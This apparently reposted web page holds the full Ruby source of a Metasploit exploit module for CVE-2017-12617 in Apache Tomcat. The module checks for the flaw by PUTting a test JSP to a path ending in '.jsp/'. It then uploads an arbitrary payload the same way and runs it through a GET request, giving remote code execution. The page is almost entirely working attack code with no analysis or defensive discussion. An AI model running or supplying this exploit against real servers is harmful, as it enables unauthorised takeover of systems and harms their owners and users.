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Tomcat JSP Upload Bypass Remote Code Execution

Posted on 12 October 2017

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tomcat RCE via JSP Upload Bypass', 'Description' => %q{ This module uploads a jsp payload and executes it. }, 'Author' => 'peewpw', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-12617' ], [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ], [ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ] ], 'Privileged' => false, 'Platform' => %w{ linux win }, # others? 'Targets' => [ [ 'Automatic', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], [ 'Java Windows', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], [ 'Java Linux', { 'Arch' => ARCH_JAVA, 'Platform' => 'linux' } ] ], 'DisclosureDate' => 'Oct 03 2017', 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]), Opt::RPORT(8080) ]) end def check testurl = Rex::Text::rand_text_alpha(10) testcontent = Rex::Text::rand_text_alpha(10) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"), 'method' => 'PUT', 'data' => "<% out.println("#{testcontent}");%>" }) res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"), 'method' => 'GET' }) if res1 && res1.body.include?(testcontent) send_request_cgi( opts = { 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"), 'method' => 'DELETE' }, timeout = 1 ) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Uploading payload...") testurl = Rex::Text::rand_text_alpha(10) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"), 'method' => 'PUT', 'data' => payload.encoded }) if res && res.code == 201 res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"), 'method' => 'GET' }) if res1 && res1.code == 200 print_status("Payload executed!") else fail_with(Failure::PayloadFailed, "Failed to execute the payload") end else fail_with(Failure::UnexpectedReply, "Failed to upload the payload") end end end

 

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